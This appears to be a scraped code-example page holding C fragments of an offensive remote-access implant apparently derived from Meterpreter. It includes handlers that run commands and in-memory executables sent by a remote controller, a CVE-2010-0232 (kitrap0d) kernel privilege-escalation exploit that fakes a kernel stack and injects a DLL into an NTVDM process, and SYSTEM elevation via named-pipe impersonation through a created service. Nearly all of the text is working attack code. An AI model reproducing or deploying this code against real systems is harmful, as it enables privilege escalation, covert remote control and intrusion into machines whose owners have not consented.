		// build arguments for execve. revert to /bin/sh -c style execution? 
		// XXX.. don't feel like messing with it atm	

		idx = 0;
		if(arguments) {
			// Add one for the null, one for the space
			cl_len = strlen(path) + strlen(arguments) + 2;
			command_line = malloc(cl_len);
			memset(command_line, 0, cl_len);
			strcat(command_line, path);
			strcat(command_line, " ");
			strcat(command_line, arguments);

			argv[idx++] = "sh";
			argv[idx++] = "-c";
			argv[idx++] = command_line;
			path = "/bin/sh";
		} else {
			argv[idx++] = path;
		}	
		argv[idx++] = NULL;

		//for (i = 0; i < idx; i++) {
		//	dprintf("  argv[%d] = %s", i, argv[i]);
		//}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			ProcessChannelContext * ctx = NULL;
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			chops.native.context  = ctx;
			chops.native.write    = process_channel_write;
			chops.native.close    = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read            = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			have_pty = !try_open_pty(&master, &slave);

			if(have_pty)
			{
				ctx->pStdin = master;
				ctx->pStdout = master;
			} else {
				// fall back to pipes if there is no tty
				// Allocate the stdin and stdout pipes
				if(pipe(&in) || pipe(&out)) 
				{
					channel_destroy(newChannel, NULL);

					newChannel = NULL;

					free(ctx);

					result = GetLastError();
					break;
				}

				// Set the context to have the write side of stdin and the read side
				// of stdout
				ctx->pStdin   = in[1];
				ctx->pStdout  = out[0];
			}

			fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
			fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
		} else {
			// need to /dev/null it all
			if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
				// XXX This is possible, due to chroots etc. We could close
				// fd 0/1/2 and hope the program isn't buggy.
 
				result = GetLastError();
				break;
			}
		}

		/*
		 * We can create "hidden" processes via clone() instead of fork()
		 * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well.
		 * memory / fd's etc won't be shared. linux specific syscall though.
		 */

		pid = fork();
		switch(pid) {

		case -1:
			result = errno;
			break;

		case 0:
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
			{
				if(have_pty) 
				{ 
					dup2(slave, 0);
					dup2(slave, 1);
					dup2(slave, 2);
				} else {
					dup2(in[0], 0);
					dup2(out[1], 1);
					dup2(out[1], 2);
				}
			} else {
				dup2(devnull, 0);
				dup2(devnull, 1);
				dup2(devnull, 2);
			}
			for(i = 3; i < 1024; i++) close(i);

			if(doInMemory) 
			{
				int found;
				Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer;
				Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff);

				for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) {
					if(phdr->p_type == PT_LOAD) {
						found = 1;
						break;
					}
				}
			
				if(! found) return; // XXX, not too much we can do in this case ?

				perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry);
			} else {
				execve(path, argv, environ);
			}

			dprintf("failed to execute program, exit(EXIT_FAILURE) time");
			dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden);

			exit(EXIT_FAILURE);
		default:
			dprintf("child pid is %d\n", pid);
			packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid);
			packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid);
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
				if(have_pty) {
					dprintf("child channelized\n");
					close(slave);
				} else {
					close(in[0]);
					close(out[1]);
					close(out[2]);
				}
			}
			break;
		}
	} while(0);
#endif

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Esempio n. 21
0
/*
 * (CVE-2010-0232)
 */
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
{
	DWORD dwResult                    = ERROR_SUCCESS;
	FARPROC pNtVdmControl             = NULL;
	HMODULE hNtdll                    = NULL;
	DWORD dwKernelStack[KSTACKSIZE]   = {0};
	VDMTIB VdmTib                     = {0};
	DWORD dwMinimumExpectedVdmTibSize = 0x200;
	DWORD dwMaximumExpectedVdmTibSize = 0x800;
	
	do
	{
		dprintf( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset );
		
		memset( &VdmTib, 0, sizeof( VDMTIB ) );
		memset( &dwKernelStack, 0, KSTACKSIZE * sizeof( DWORD ) );
	
		// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
		//      With a buffer full of NULLs, the exploit never finds the right size.
		//      This will require a more work to resolve, for just keep the padding zero'd

		hNtdll = GetModuleHandle( "ntdll" );
		if( !hNtdll )
			BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );

		pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" );
		if( !pNtVdmControl )
			BREAK_ON_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed" );

		dwTargetProcessId = dwProcessId;

		// Setup the fake kernel stack, and install a minimal VDM_TIB...
		lpKernelStackPointer        = (DWORD *)&dwKernelStack;
		dwKernelStack[0]            = (DWORD)&dwKernelStack[8];            // ESP
		dwKernelStack[1]            = (DWORD)NtCurrentTeb();               // TEB
		dwKernelStack[2]            = (DWORD)NtCurrentTeb();               // TEB
		dwKernelStack[7]            = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
		hKernel                     = (HMODULE)dwKernelBase;
		VdmTib.Size                 = dwMinimumExpectedVdmTibSize;
		*NtCurrentTeb()->Reserved4  = &VdmTib;
	
		// Initialize the VDM Subsystem...
		elevator_kitrap0d_initvdmsubsystem();

		VdmTib.Size                 = dwMinimumExpectedVdmTibSize;
		VdmTib.VdmContext.SegCs     = 0x0B;
		VdmTib.VdmContext.Esi       = (DWORD)&dwKernelStack;
		VdmTib.VdmContext.Eip       = dwKernelBase + dwOffset;
		VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
		*NtCurrentTeb()->Reserved4  = &VdmTib;

		// Allow thread initialization to complete. Without is, there is a chance
		// of a race in KiThreadInitialize's call to SwapContext
		Sleep( 1000 );

		// Trigger the vulnerable code via NtVdmControl()...
		while( VdmTib.Size++ < dwMaximumExpectedVdmTibSize )
			pNtVdmControl( VdmStartExecution, NULL );

	} while( 0 );

	// Unable to find correct VdmTib size.
	ExitThread('VTIB');
}
Esempio n. 22
0
/*
 * Worker thread for named pipe impersonation. Creates a named pipe and impersonates
 * the first client which connects to it.
 */
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
{
	DWORD dwResult              = ERROR_ACCESS_DENIED;
	HANDLE hServerPipe          = NULL;
	HANDLE hToken               = NULL;
	HANDLE hSem		    = NULL;
	char * cpServicePipe        = NULL;
	Remote * remote             = NULL;
	BYTE bMessage[128]          = {0};
	DWORD dwBytes               = 0;

	do {
		if (!thread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
		}

		cpServicePipe = (char *)thread->parameter1;
		remote        = (Remote *)thread->parameter2;
		hSem          = (HANDLE)thread->parameter3;

		if (!cpServicePipe || !remote) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread.  invalid thread arguments",
				ERROR_BAD_ARGUMENTS);
		}

		dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);

		// create the named pipe for the client service to connect to
		hServerPipe = CreateNamedPipe(cpServicePipe,
			PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);

		if (!hServerPipe) {
			BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
		}

		while (TRUE) {
			if (event_poll(thread->sigterm, 0)) {
				BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received",
					ERROR_DBG_TERMINATE_THREAD);
			}

			//signal the client that the pipe is ready
                        if (hSem) {
                                if (!ReleaseSemaphore(hSem, 1, NULL)) {
				        BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
						ERROR_DBG_TERMINATE_THREAD);
				}
			}

			// wait for a client to connect to our named pipe...
			if (!ConnectNamedPipe(hServerPipe, NULL)) {
				if (GetLastError() != ERROR_PIPE_CONNECTED)
					continue;
			}

			dprintf("[ELEVATE] pipethread. got client conn.");

			// we can't impersonate a client untill we have performed a read on the pipe...
			if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
				CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
			}

			// impersonate the client!
			if (!ImpersonateNamedPipeClient(hServerPipe)) {
				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
			}

			// get a handle to this threads token
			if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
			}

			// now we can set the meterpreters thread token to that of our system
			// token so all subsequent meterpreter threads will use this token.
			core_update_thread_token(remote, hToken);

			dwResult = ERROR_SUCCESS;

			break;
		}

	} while (0);

	if (hServerPipe) {
		DisconnectNamedPipe(hServerPipe);
		CLOSE_HANDLE(hServerPipe);
	}

	dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);

	return dwResult;
}
Esempio n. 23
0
/*
 * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local
 * system which then connects to our named pipe and we impersonate this client. This can be done by an
 * Administrator without the need for SeDebugPrivilege.  Works on 2000, XP, 2003 and 2008 for all local
 * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC
 * first. Does not work on NT4.
 */
DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
{
	DWORD dwResult              = ERROR_SUCCESS;
	char * cpServiceName        = NULL;
	THREAD * pThread            = NULL;
	HANDLE hSem                 = NULL;
	char cServiceArgs[MAX_PATH] = {0};
	char cServicePipe[MAX_PATH] = {0};
	OSVERSIONINFO os            = {0};

	do {
		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

		if (!GetVersionEx(&os)) {
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed")
		}

		// filter out Windows NT4
		if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
			SetLastError(ERROR_ACCESS_DENIED);
			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
		}

		cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
		if (!cpServiceName) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments",
				ERROR_BAD_ARGUMENTS);
		}

		_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH,
			"\\\\.\\pipe\\%s", cpServiceName);

		_snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH,
			"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);

		hSem = CreateSemaphore(NULL, 0, 1, NULL);
		pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
		if (!pThread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed",
				ERROR_INVALID_HANDLE);
		}

		if (!thread_run(pThread)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed",
				ERROR_ACCESS_DENIED);
		}

		//wait for the thread to create the pipe(if it times out terminate)
                if (hSem) {
		        if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
			        BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
					ERROR_ACCESS_DENIED);
			}
                } else {
                        Sleep(500);
		}

		// start the elevator service (if it doesnt start first time we need to create it and then start it).
		if (service_start(cpServiceName) != ERROR_SUCCESS) {
			dprintf("[ELEVATE] service starting failed, attempting to create");
			if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
				BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
			}
			dprintf("[ELEVATE] creation of service succeeded, attempting to start");
			// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
			// a valid service and it will never signal to the service manager that is is a running service.
			service_start(cpServiceName);
		}

		// signal our thread to terminate if it is still running
		thread_sigterm(pThread);

		// and wait for it to terminate...
		thread_join(pThread);

		// get the exit code for our pthread
		dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
		if (!GetExitCodeThread(pThread->handle, &dwResult)) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
				ERROR_INVALID_HANDLE);
		}
		dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);

	} while (0);
Esempio n. 24
0
/*
 * Executes a process using the supplied parameters, optionally creating a
 * channel through which output is filtered.
 *
 * req: TLV_TYPE_PROCESS_PATH      - The executable to launch
 * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
 * req: TLV_TYPE_FLAGS             - The flags to execute with
 */
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	Tlv inMemoryData;
	BOOL doInMemory = FALSE;
	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	HANDLE in[2], out[2];
	PCHAR path, arguments, commandLine = NULL;
	DWORD flags = 0, createFlags = 0;
	BOOL inherit = FALSE;
	HANDLE token, pToken;
	char * cpDesktop = NULL;
	DWORD session = 0;
	LPVOID pEnvironment = NULL;
	LPFNCREATEENVIRONMENTBLOCK  lpfnCreateEnvironmentBlock  = NULL;
	LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
	HMODULE hUserEnvLib = NULL;
	ProcessChannelContext * ctx = NULL;

	dprintf( "[PROCESS] request_sys_process_execute" );

	// Initialize the startup information
	memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
	memset( &si, 0, sizeof(STARTUPINFO) );

	si.cb = sizeof(STARTUPINFO);

	// Initialize pipe handles
	in[0]  = NULL;
	in[1]  = NULL;
	out[0] = NULL;
	out[1] = NULL;

	do
	{
		// No response? We suck.
		if (!response)
		{
			break;
		}

		// Get the execution arguments
		arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
		path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);

		if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
		{
			doInMemory = TRUE;
			createFlags |= CREATE_SUSPENDED;
		}

		if (flags & PROCESS_EXECUTE_FLAG_DESKTOP)
		{
			do
			{
				cpDesktop = (char *)malloc(512);
				if (!cpDesktop)
					break;

				memset(cpDesktop, 0, 512);

				lock_acquire(remote->lock);

				_snprintf(cpDesktop, 512, "%s\\%s", remote->curr_station_name, remote->curr_desktop_name);

				lock_release(remote->lock);

				si.lpDesktop = cpDesktop;

			} while (0);
		}

		// If the remote endpoint provided arguments, combine them with the
		// executable to produce a command line
		if (path && arguments)
		{
			size_t commandLineLength = strlen(path) + strlen(arguments) + 2;

			if (!(commandLine = (PCHAR)malloc(commandLineLength)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
		}
		else if (path)
		{
			commandLine = path;
		}
		else
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the channelized flag is set, create a pipe for stdin/stdout/stderr
		// such that input can be directed to and from the remote endpoint
		if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
		{
			SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
			PoolChannelOps chops;
			Channel *newChannel;

			// Allocate the channel context
			if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			memset(&chops, 0, sizeof(PoolChannelOps));

			// Initialize the channel operations
			dprintf("[PROCESS] context address 0x%p", ctx);
			chops.native.context = ctx;
			chops.native.write = process_channel_write;
			chops.native.close = process_channel_close;
			chops.native.interact = process_channel_interact;
			chops.read = process_channel_read;

			// Allocate the pool channel
			if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
			{
				result = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}

			// Set the channel's type to process
			channel_set_type(newChannel, "process");

			// Allocate the stdin and stdout pipes
			if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0)))
			{
				channel_destroy(newChannel, NULL);

				newChannel = NULL;

				free(ctx);

				result = GetLastError();
				break;
			}

			// Initialize the startup info to use the pipe handles
			si.dwFlags |= STARTF_USESTDHANDLES;
			si.hStdInput = in[0];
			si.hStdOutput = out[1];
			si.hStdError = out[1];
			inherit = TRUE;
			createFlags |= CREATE_NEW_CONSOLE;

			// Set the context to have the write side of stdin and the read side
			// of stdout
			ctx->pStdin = in[1];
			ctx->pStdout = out[0];

			// Add the channel identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
		}

		// If the hidden flag is set, create the process hidden
		if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
		{
			si.dwFlags |= STARTF_USESHOWWINDOW;
			si.wShowWindow = SW_HIDE;
			createFlags |= CREATE_NO_WINDOW;
		}

		// Should we create the process suspended?
		if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
			createFlags |= CREATE_SUSPENDED;

		if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
		{
			// If there is an impersonated token stored, use that one first, otherwise
			// try to grab the current thread token, then the process token
			if (remote->thread_token)
			{
				token = remote->thread_token;
				dprintf("[execute] using thread impersonation token");
			}
			else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
			{
				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
			}

			dprintf("[execute] token is 0x%.8x", token);

			// Duplicate to make primary token (try delegation first)
			if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
			{
				if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
				{
					result = GetLastError();
					dprintf("[execute] failed to duplicate token 0x%.8x", result);
					break;
				}
			}

			hUserEnvLib = LoadLibrary("userenv.dll");
			if (NULL != hUserEnvLib)
			{
				lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock");
				lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock");
				if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE))
				{
					createFlags |= CREATE_UNICODE_ENVIRONMENT;
					dprintf("[execute] created a duplicated environment block");
				}
				else
				{
					pEnvironment = NULL;
				}
			}

			// Try to execute the process with duplicated token
			if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
			{
				LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
				HANDLE hAdvapi32 = NULL;
				wchar_t * wcmdline = NULL;
				wchar_t * wdesktop = NULL;
				size_t size = 0;

				result = GetLastError();

				// sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only
				// available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO.
				if (result == ERROR_PRIVILEGE_NOT_HELD)
				{
					do
					{
						hAdvapi32 = LoadLibrary("advapi32.dll");
						if (!hAdvapi32)
						{
							break;
						}

						pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW");
						if (!pCreateProcessWithTokenW)
						{
							break;
						}

						// convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)...
						size = mbstowcs(NULL, commandLine, 0);
						if (size == (size_t)-1)
						{
							break;
						}

						wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
						mbstowcs(wcmdline, commandLine, size);

						if (si.lpDesktop)
						{
							size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
							if (size != (size_t)-1)
							{
								wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
								mbstowcs(wdesktop, (char *)si.lpDesktop, size);
								si.lpDesktop = (LPSTR)wdesktop;
							}
						}

						if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi))
						{
							result = GetLastError();
							dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result);
							break;
						}

						result = ERROR_SUCCESS;

					} while (0);

					if (hAdvapi32)
					{
						FreeLibrary(hAdvapi32);
					}

					SAFE_FREE(wdesktop);
					SAFE_FREE(wcmdline);
				}
				else
				{
					dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result);
					break;
				}
			}

			if (lpfnDestroyEnvironmentBlock && pEnvironment)
			{
				lpfnDestroyEnvironmentBlock(pEnvironment);
			}

			if (NULL != hUserEnvLib)
			{
				FreeLibrary(hUserEnvLib);
			}
		}
		else if (flags & PROCESS_EXECUTE_FLAG_SESSION)
		{
			typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken);
			WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL;
			HANDLE hToken = NULL;
			HMODULE hWtsapi32 = NULL;
			BOOL bSuccess = FALSE;
			DWORD dwResult = ERROR_SUCCESS;

			do
			{
				// Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it.
				hWtsapi32 = LoadLibraryA("wtsapi32.dll");

				session = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION);

				if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
				{
					if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
					}
				}
				else
				{
					pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken");
					if (!pWTSQueryUserToken)
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed");
					}

					if (!pWTSQueryUserToken(session, &hToken))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
					}

					if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
					{
						BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
					}
				}

			} while (0);

			if (hWtsapi32)
			{
				FreeLibrary(hWtsapi32);
			}

			if (hToken)
			{
				CloseHandle(hToken);
			}

			result = dwResult;

			if (result != ERROR_SUCCESS)
			{
				break;
			}
		}
		else
		{
			// Try to execute the process
			if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
			{
				result = GetLastError();
				break;
			}
		}

		//
		// Do up the in memory exe execution if the user requested it
		//
		if (doInMemory)
		{

			//
			// Unmap the dummy executable and map in the new executable into the
			// target process
			//
			if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer))
			{
				result = GetLastError();
				break;
			}

			//
			// Resume the thread and let it rock...
			//
			if (ResumeThread(pi.hThread) == (DWORD)-1)
			{
				result = GetLastError();
				break;
			}

		}

		// check for failure here otherwise we can get a case where we
		// failed but return a process id and this will throw off the ruby side.
		if (result == ERROR_SUCCESS)
		{
			// if we managed to successfully create a channelized process, we need to retain
			// a handle to it so that we can shut it down externally if required.
			if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
				&& ctx != NULL)
			{
				dprintf("[PROCESS] started process 0x%x", pi.hProcess);
				ctx->pProcess = pi.hProcess;
			}

			// Add the process identifier to the response packet
			packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);

			packet_add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess);

			CloseHandle(pi.hThread);
		}

	} while (0);

	// Close the read side of stdin and the write side of stdout
	if (in[0])
	{
		CloseHandle(in[0]);
	}
	if (out[1])
	{
		CloseHandle(out[1]);
	}

	// Free the command line if necessary
	if (path && arguments && commandLine)
	{
		free(commandLine);
	}

	if (cpDesktop)
	{
		free(cpDesktop);
	}

	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Esempio n. 25
0
/*
 * (CVE-2010-0232)
 */
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
{
	DWORD dwResult              = ERROR_SUCCESS;
	HANDLE hVdm                 = NULL;
	HANDLE hThread              = NULL;
	LPVOID lpServiceBuffer      = NULL;
	LPVOID lpRemoteCommandLine  = NULL;
	char cWinDir[MAX_PATH]      = {0};
	char cVdmPath[MAX_PATH]     = {0};
	char cCommandLine[MAX_PATH] = {0};
	DWORD dwExitCode            = 0;
	DWORD dwKernelBase          = 0;
	DWORD dwOffset              = 0;
	DWORD dwServiceLength       = 0;

	do
	{
		// only works on x86 systems...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." );

		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS );

		// 1. first get a file path to a suitable exe...
		if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );

		// 2. Scan kernel image for the required code sequence, and find the base address...
		if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
		
		// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
		
		if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );

		// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
		//    Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.

		_snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset );

		// alloc some space and write the commandline which we will pass to the injected dll...
		lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
		if( !lpRemoteCommandLine )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); 

		if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); 

		// inject the dll...
		hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
		if( !hThread )
